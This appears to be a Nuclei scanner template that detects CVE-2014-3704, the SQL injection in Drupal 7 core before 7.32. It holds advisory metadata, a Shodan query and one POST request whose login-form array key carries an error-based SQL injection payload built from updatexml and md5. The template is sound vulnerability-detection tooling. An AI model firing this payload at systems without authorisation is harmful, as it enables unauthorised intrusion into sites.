id: CVE-2014-3704

info:
  name: Drupal SQL Injection
  author: princechaddha
  severity: high
  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
  reference:
    - https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3704
    - https://www.drupal.org/SA-CORE-2014-005
    - https://www.exploit-db.com/exploits/34984
    - https://www.exploit-db.com/exploits/34992
    - https://www.exploit-db.com/exploits/34993
    - https://www.exploit-db.com/exploits/35150
  remediation: Upgrade to Drupal core 7.32 or later.
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-3704
    cwe-id: CWE-89
  metadata:
    max-request: 1
    shodan-query: http.component:"drupal"
  tags: edb,cve,cve2014,drupal,sqli

variables:
  num: "999999999"

http:
  - method: POST
    path:
      - "{{BaseURL}}/?q=node&destination=node"
    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PDOException"
          - '{{md5({{num}})}}'
        condition: and
        part: body

      - type: status
        status:
          - 500